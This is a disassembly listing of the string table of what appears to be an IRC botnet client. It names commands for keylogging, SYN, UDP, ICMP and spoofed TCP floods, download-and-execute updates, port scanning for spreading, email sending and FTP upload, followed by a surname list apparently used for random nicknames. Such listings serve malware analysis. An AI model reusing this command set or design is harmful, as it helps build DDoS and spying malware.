aOff_0		db 'off',0              ; DATA XREF: seg000:00404890o
aKeylogKeyLogge	db '[KEYLOG]: Key logger stopped. (%d thread(s) stopped.)',0
					; DATA XREF: seg000:004048B3o
		align 4
aKeylogNoKeyLog	db '[KEYLOG]: No key logger thread found.',0 ; DATA XREF: seg000:loc_4048BDo
		align 4
aNet		db 'net',0              ; DATA XREF: seg000:004049D0o
aStart		db 'start',0            ; DATA XREF: seg000:00404A27o
		align 10h
aS_1		db '%s',0               ; DATA XREF: seg000:00404A47o
		align 4
aNetServiceList	db '[NET]: Service list completed.',0 ; DATA XREF: seg000:00404A78o
		align 4
aNetServiceLi_0	db '[NET]: Service list failed.',0 ; DATA XREF: seg000:loc_404A82o
aStop		db 'stop',0             ; DATA XREF: seg000:00404A8Do
		align 4
aS_2		db '%s',0               ; DATA XREF: seg000:00404AA8o
		align 4
aPause		db 'pause',0            ; DATA XREF: seg000:00404AB0o
		align 4
aS_3		db '%s',0               ; DATA XREF: seg000:00404ACBo
		align 4
aContinue	db 'continue',0         ; DATA XREF: seg000:00404AD6o
		align 4
aS_4		db '%s',0               ; DATA XREF: seg000:00404AF1o
		align 4
aDelete_0	db 'delete',0           ; DATA XREF: seg000:00404AFCo
		align 10h
aS_5		db '%s',0               ; DATA XREF: seg000:00404B17o
		align 4
aShare		db 'share',0            ; DATA XREF: seg000:00404B22o
		align 4
aS_6		db '%s',0               ; DATA XREF: seg000:00404B4Bo
		align 10h
aS_7		db '%s',0               ; DATA XREF: seg000:00404B63o
		align 4
aNetShareListCo	db '[NET]: Share list completed.',0 ; DATA XREF: seg000:00404B95o
		align 4
aNetShareListFa	db '[NET]: Share list failed.',0 ; DATA XREF: seg000:loc_404B9Fo
		align 10h
aUser		db 'user',0             ; DATA XREF: seg000:00404BAAo
		align 4
aS_8		db '%s',0               ; DATA XREF: seg000:00404BE3o
		align 4
aS_9		db '%s',0               ; DATA XREF: seg000:00404C0Ao
		align 10h
aS_10		db '%s',0               ; DATA XREF: seg000:00404C1Bo
		align 4
aNetUserListCom	db '[NET]: User list completed.',0 ; DATA XREF: seg000:00404C4Do
aNetUserListFai	db '[NET]: User list failed.',0 ; DATA XREF: seg000:loc_404C57o
		align 4
aSend_0		db 'send',0             ; DATA XREF: seg000:00404C62o
		align 4
aS_11		db '%s',0               ; DATA XREF: seg000:00404C92o
		align 4
aNetNoMessageSp	db '[NET]: No message specified.',0 ; DATA XREF: seg000:loc_404CA5o
		align 4
aNetCommandUnkn	db '[NET]: Command unknown.',0 ; DATA XREF: seg000:loc_404CAFo
aNetFailedToLoa	db '[NET]: Failed to load advapi32.dll or netapi32.dll.',0
					; DATA XREF: seg000:004049F4o
aGethost	db 'gethost',0          ; DATA XREF: seg000:00404CBCo
aGh		db 'gh',0               ; DATA XREF: seg000:00404CD3o
		align 10h
aSSSS_1		db '%s %s %s :%s',0     ; DATA XREF: seg000:00406E73o
		align 10h
aMainGethostSCo	db '[MAIN]: Gethost: %s, Command: %s',0 ; DATA XREF: seg000:00406E9Ao
		align 4
aMainUnableToEx	db '[MAIN]: Unable to extract Gethost command.',0
					; DATA XREF: seg000:00406EB6o
		align 10h
aMainGethostS_	db '[MAIN]: Gethost: %s.',0 ; DATA XREF: seg000:00406EF1o
		align 4
aAddalias	db 'addalias',0         ; DATA XREF: seg000:00404CFCo
		align 4
aAa		db 'aa',0               ; DATA XREF: seg000:00404D13o
		align 4
aMainAliasAdded	db '[MAIN]: Alias added: %s.',0 ; DATA XREF: seg000:00406E18o
		align 4
aPrivmsg_2	db 'privmsg',0          ; DATA XREF: seg000:00404D2Ao
aPm		db 'pm',0               ; DATA XREF: seg000:00404D41o
		align 10h
aMainPrivmsgSS_	db '[MAIN]: Privmsg: %s: %s.',0 ; DATA XREF: seg000:00406DDDo
		align 4
aAction		db 'action',0           ; DATA XREF: seg000:00404D58o
		align 4
aA:					; DATA XREF: seg000:00404D6Fo
		unicode	0, <a>,0
dword_43EF28	dd 54434101h, 204E4F49h, 17325haMainActionSS_	db '[MAIN]: Action: %s: %s.',0 ; DATA XREF: seg000:00406D87o
aCycle		db 'cycle',0            ; DATA XREF: seg000:00404D86o
		align 4
aCy		db 'cy',0               ; DATA XREF: seg000:00404D9Do
		align 4
a332_2		db '332',0              ; DATA XREF: seg000:00406CCEo
aPartS_0	db 'PART %s',0Dh,0Ah,0  ; DATA XREF: seg000:00406CE5o
		align 4
aJoinSS_2	db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:00406D12o
		align 4
aMainCycle_	db '[MAIN]: Cycle.',0   ; DATA XREF: seg000:00406D1Fo
		align 4
aMode		db 'mode',0             ; DATA XREF: seg000:00404DB4o
		align 10h
aM:					; DATA XREF: seg000:00404DCBo
		unicode	0, <m>,0
aModeS_0	db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: seg000:00406CA8o
		align 10h
aMainModeChange	db '[MAIN]: Mode change: %s',0 ; DATA XREF: seg000:00406CB6o
aC_raw		db 'c_raw',0            ; DATA XREF: seg000:00404DE2o
		align 10h
aC_r		db 'c_r',0              ; DATA XREF: seg000:00404DF9o
aS_16		db '%s',0Dh,0Ah,0       ; DATA XREF: seg000:00406C60o
		align 4
aCloneRawSS	db '[CLONE]: Raw (%s): %s',0 ; DATA XREF: seg000:00406C7Fo
		align 4
aC_mode		db 'c_mode',0           ; DATA XREF: seg000:00404E10o
		align 4
aC_m		db 'c_m',0              ; DATA XREF: seg000:00404E27o
aModeS		db 'MODE %s',0          ; DATA XREF: seg000:00406BBFo
aS_15		db '%s',0Dh,0Ah,0       ; DATA XREF: seg000:00406BF5o
		align 10h
aCloneModeSS	db '[CLONE]: Mode (%s): %s',0 ; DATA XREF: seg000:00406C14o
		align 4
aC_nick		db 'c_nick',0           ; DATA XREF: seg000:00404E3Eo
		align 10h
aC_n		db 'c_n',0              ; DATA XREF: seg000:00404E55o
aNickS		db 'NICK %s',0          ; DATA XREF: seg000:00406B34o
aS_14		db '%s',0Dh,0Ah,0       ; DATA XREF: seg000:00406B69o
		align 4
aCloneNickSS	db '[CLONE]: Nick (%s): %s',0 ; DATA XREF: seg000:00406B8Ao
		align 4
aC_join		db 'c_join',0           ; DATA XREF: seg000:00404E6Co
		align 4
aC_j		db 'c_j',0              ; DATA XREF: seg000:00404E83o
aJoinSS_1	db 'JOIN %s %s',0       ; DATA XREF: seg000:00406AEFo
		align 4
aS_13		db '%s',0Dh,0Ah,0       ; DATA XREF: seg000:00406B24o
		align 4
aC_part		db 'c_part',0           ; DATA XREF: seg000:00404E9Ao
		align 4
aC_p		db 'c_p',0              ; DATA XREF: seg000:00404EB1o
aPartS		db 'PART %s',0          ; DATA XREF: seg000:00406A85o
aS_12		db '%s',0Dh,0Ah,0       ; DATA XREF: seg000:00406ABAo
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: seg000:00404EC8o
		align 10h
aRp		db 'rp',0               ; DATA XREF: seg000:00404EDFo
		align 4
a332_1		db '332',0              ; DATA XREF: seg000:004069BCo
aRepeat_0	db 'repeat',0           ; DATA XREF: seg000:004069EAo
		align 10h
aSSSS_0		db '%s %s %s :%s',0     ; DATA XREF: seg000:00406A15o
		align 10h
aMainRepeatS	db '[MAIN]: Repeat: %s',0 ; DATA XREF: seg000:00406A3Bo
		align 4
aMainRepeatNotA	db '[MAIN]: Repeat not allowed in command line: %s',0
					; DATA XREF: seg000:loc_406A72o
		align 4
aDelay		db 'delay',0            ; DATA XREF: seg000:00404EF6o
		align 4
aDe		db 'de',0               ; DATA XREF: seg000:00404F0Do
		align 10h
a332_0		db '332',0              ; DATA XREF: seg000:00406921o
aSSSS		db '%s %s %s :%s',0     ; DATA XREF: seg000:00406962o
		align 4
aMainDelay_	db '[MAIN]: Delay.',0   ; DATA XREF: seg000:loc_4069A2o
		align 4
aUpdate909	db 'update909',0        ; DATA XREF: seg000:00404F24o
		align 10h
aUp909_0	db 'up909',0            ; DATA XREF: seg000:00404F3Bo
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: seg000:004067B8o
		align 4
aUpdateDownload	db '[UPDATE]: Downloading update from: %s.',0 ; DATA XREF: seg000:0040685Eo
		align 4
aUpdateFailedTo	db '[UPDATE]: Failed to start download thread, error: <%d>.',0
					; DATA XREF: seg000:004068C9o
aUpdateBotIdMus	db '[UPDATE]: Bot ID must be different than current running process.',0
					; DATA XREF: seg000:loc_4068DFo
		align 4
aExecute	db 'execute',0          ; DATA XREF: seg000:00404F52o
aE:					; DATA XREF: seg000:00404F69o
		unicode	0, <e>,0
aExecCouldnTExe	db '[EXEC]: Couldn',27h,'t execute file.',0 ; DATA XREF: seg000:0040674Eo
		align 4
aExecCommandsS	db '[EXEC]: Commands: %s',0 ; DATA XREF: seg000:00406759o
		align 4
aRename		db 'rename',0           ; DATA XREF: seg000:00404F80o
		align 4
aMv		db 'mv',0               ; DATA XREF: seg000:00404F97o
		align 4
aFileRenameSToS	db '[FILE]: Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
					; DATA XREF: seg000:00406664o
		align 4
aFile_1		db '[FILE]:',0          ; DATA XREF: seg000:loc_406679o
aIcmpflood	db 'icmpflood',0        ; DATA XREF: seg000:00404FAEo
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: seg000:00404FC5o
		align 4
aIcmpFloodingSF	db '[ICMP]: Flooding: (%s) for %s seconds.',0 ; DATA XREF: seg000:004065BEo
		align 4
aIcmpFailedToSt	db '[ICMP]: Failed to start flood thread, error: <%d>.',0
					; DATA XREF: seg000:00406638o
		align 10h
aIcmpInvalidFlo	db '[ICMP]: Invalid flood time must be greater than 0.',0
					; DATA XREF: seg000:loc_406642o
		align 4
aClone_0	db 'clone',0            ; DATA XREF: seg000:00404FEEo
		align 4
aC:					; DATA XREF: seg000:00405005o
		unicode	0, <c>,0
aClonesCreatedO	db '[CLONES]: Created on %s:%d, in channel %s.',0
					; DATA XREF: seg000:004064D8o
		align 4
aClonesFailedTo	db '[CLONES]: Failed to start clone thread, error: <%d>.',0
					; DATA XREF: seg000:00406547o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: seg000:0040501Co
		align 10h
aUsa_ack	db 'usa.ack',0          ; DATA XREF: seg000:00405033o
aUsa_ran	db 'usa.ran',0          ; DATA XREF: seg000:0040504Ao
aDdosFloodingSS	db '[DDoS]: Flooding: (%s:%s) for %s seconds.',0
					; DATA XREF: seg000:004063D8o
		align 4
aDdosFailedToSt	db '[DDoS]: Failed to start flood thread, error: <%d>.',0
					; DATA XREF: seg000:00406450o
		align 10h
aSynflood	db 'synflood',0         ; DATA XREF: seg000:00405061o
		align 4
aSy1		db 'sy1',0              ; DATA XREF: seg000:00405078o
aSynFloodingSSF	db '[SYN]: Flooding: (%s:%s) for %s seconds.',0
					; DATA XREF: seg000:004062C9o
		align 4
aSynFailedToSta	db '[SYN]: Failed to start flood thread, error: <%d>.',0
					; DATA XREF: seg000:00406343o
		align 10h
aDownload909	db 'download909',0      ; DATA XREF: seg000:0040508Fo
aDl909		db 'dl909',0            ; DATA XREF: seg000:004050A6o
		align 4
aDownloadDownlo	db '[DOWNLOAD]: Downloading URL: %s to: %s.',0 ; DATA XREF: seg000:004061EAo
aDownloadFailed	db '[DOWNLOAD]: Failed to start transfer thread, error: <%d>.',0
					; DATA XREF: seg000:00406259o
		align 4
aRedirect_0	db 'redirect',0         ; DATA XREF: seg000:004050BDo
		align 4
aRd		db 'rd',0               ; DATA XREF: seg000:004050D4o
		align 4
aRedirectTcpRed	db '[REDIRECT]: TCP redirect created from: %s:%d to: %s:%d.',0
					; DATA XREF: seg000:004060ACo
aRedirectFailed	db '[REDIRECT]: Failed to start redirection thread, error: <%d>.',0
					; DATA XREF: seg000:0040611Bo
		align 10h
aScan		db 'scan',0             ; DATA XREF: seg000:004050EBo
		align 4
aSc		db 'sc',0               ; DATA XREF: seg000:00405102o
		align 4
aScanPortScanSt	db '[SCAN]: Port scan started: %s:%d with delay: %d(ms).',0
					; DATA XREF: seg000:00405FB2o
		align 4
aScanFailedTo_2	db '[SCAN]: Failed to start scan thread, error: <%d>.',0
					; DATA XREF: seg000:00406021o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: seg000:00405119o
		align 4
aC_pm		db 'c_pm',0             ; DATA XREF: seg000:00405130o
		align 4
aSSS_0		db '[%s] <%s> %s',0     ; DATA XREF: seg000:00405F2Eo
		align 4
aC_action	db 'c_action',0         ; DATA XREF: seg000:00405147o
		align 4
aC_a		db 'c_a',0              ; DATA XREF: seg000:0040515Eo
dword_43F60C	dd 54434101h, 204E4F49h, 17325hdword_43F618	dd 5D73255Bh, 25202A20h, 73252073h, 0aAdvscan	db 'advscan',0          ; DATA XREF: seg000:00405187o
aVv		db 'vv',0               ; DATA XREF: seg000:0040519Eo
		align 4
aScanAlreadyDSc	db '[SCAN]: Already %d scanning threads. Too many specified.',0
					; DATA XREF: seg000:00405A16o
		align 10h
aScanFailedToSt	db '[SCAN]: Failed to start scan, port is invalid.',0
					; DATA XREF: seg000:00405B08o
		align 10h
aScanFailedTo_0	db '[SCAN]: Failed to start scan, no IP specified.',0
					; DATA XREF: seg000:00405B65o
		align 10h
aRandom_0	db 'Random',0           ; DATA XREF: seg000:00405CA3o
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: seg000:00405CAAo
		align 4
aScanSPortScanS	db '[SCAN]: %s Port Scan started on %s:%d with a delay of %d seconds '
					; DATA XREF: seg000:00405CD5o
		db 'for %d minutes using %d threads.',0
		align 4
aScanFailedTo_1	db '[SCAN]: Failed to start scan thread, error: <%d>.',0
					; DATA XREF: seg000:00405D44o
		align 4
aUdpflood	db 'udpflood',0         ; DATA XREF: seg000:004051B5o
		align 4
aPu		db 'pu',0               ; DATA XREF: seg000:004051CCo
		align 4
aU:					; DATA XREF: seg000:004051E3o
		unicode	0, <u>,0
aUdpSendingDPac	db '[UDP]: Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).'
					; DATA XREF: seg000:00405976o
		db 0
		align 4
aUdpFailedToSta	db '[UDP]: Failed to start flood thread, error: <%d>.',0
					; DATA XREF: seg000:004059E5o
		align 4
aPingflood	db 'pingflood',0        ; DATA XREF: seg000:004051FAo
		align 4
aPing_1		db 'ping',0             ; DATA XREF: seg000:00405211o
		align 4
aP:					; DATA XREF: seg000:00405228o
		unicode	0, <p>,0
aPingSendingDPi	db '[PING]: Sending %d pings to %s. packet size: %d, timeout: %d(ms).'
					; DATA XREF: seg000:0040582Fo
		db 0
		align 4
aPingFailedToSt	db '[PING]: Failed to start flood thread, error: <%d>.',0
					; DATA XREF: seg000:0040589Ao
		align 4
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: seg000:004058AFo
		align 10h
aTcpflood	db 'tcpflood',0         ; DATA XREF: seg000:0040523Fo
		align 4
aUsa		db 'usa',0              ; DATA XREF: seg000:00405256o
aSyn		db 'syn',0              ; DATA XREF: seg000:00405623o
aAck		db 'ack',0              ; DATA XREF: seg000:0040563Bo
aRandom		db 'random',0           ; DATA XREF: seg000:00405652o
		align 10h
aSpoofed	db 'Spoofed',0          ; DATA XREF: seg000:004056F7o
aNormal		db 'Normal',0           ; DATA XREF: seg000:004056FEo
		align 10h
aTcpSSFloodingS	db '[TCP]: %s %s flooding: (%s:%s) for %s seconds.',0
					; DATA XREF: seg000:0040570Eo
		align 10h
aTcpFailedToSta	db '[TCP]: Failed to start flood thread, error: <%d>.',0
					; DATA XREF: seg000:00405788o
		align 4
aTcpInvalidFl_0	db '[TCP]: Invalid flood time must be greater than 0.',0
					; DATA XREF: seg000:loc_405792o
		align 4
aTcpInvalidFloo	db '[TCP]: Invalid flood type specified.',0 ; DATA XREF: seg000:00405662o
		align 10h
aEmail		db 'email',0            ; DATA XREF: seg000:0040526Do
		align 4
asc_43F9A8:				; DATA XREF: seg000:004052B7o
		unicode	0, < >,0
a_:					; DATA XREF: seg000:004052BCo
		unicode	0, <_>,0
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: seg000:00405358o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmailMessageSe	db '[EMAIL]: Message sent to %s.',0 ; DATA XREF: seg000:004053CCo
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: seg000:0040540Do
aHcon		db 'hcon',0             ; DATA XREF: seg000:00405424o
		align 4
aUpload		db 'upload',0           ; DATA XREF: seg000:00405447o
		align 4
aFtpFileNotFoun	db '[FTP]: File not found: %s.',0 ; DATA XREF: seg000:0040546Ao
		align 10h
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: seg000:004054F0o
		align 10h
aAb		db 'ab',0               ; DATA XREF: seg000:00405501o
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: seg000:00405525o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aSS_0		db '-s:%s',0            ; DATA XREF: seg000:00405545o
		align 10h
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: seg000:0040555Co
aOpen_0		db 'open',0             ; DATA XREF: seg000:00405561o
		align 10h
aFtpUploadingFi	db '[FTP]: Uploading file: %s to: %s',0 ; DATA XREF: seg000:00405573o
		align 4
aFtpUploading_0	db '[FTP]: Uploading file: %s to: %s failed.',0
					; DATA XREF: seg000:loc_40557Ao
		align 10h
aReal		db 'real',0
		align 4
		dd 0
dword_43FAFC	dd 0		off_43FB00	dd offset sub_408654	; DATA XREF: sub_408A38+49r
aConst		db 'const',0
		align 10h
		dd 1, 4086C0h, 7474656Ch, 7265h, 0
		dd 2, 40871Eh, 706D6F63h, 2 dup(0)
		dd 3, 40876Bh, 6E756F63h, 797274h, 0
		dd 4, 408811h, 736Fh, 2	dup(0)
		dd 5, 408886h
off_43FB68	dd offset aAbdulrazak	; DATA XREF: sub_408654+20r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_43FB74	dd offset aAddison	; DATA XREF: sub_408A38+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer_0	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton_0	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
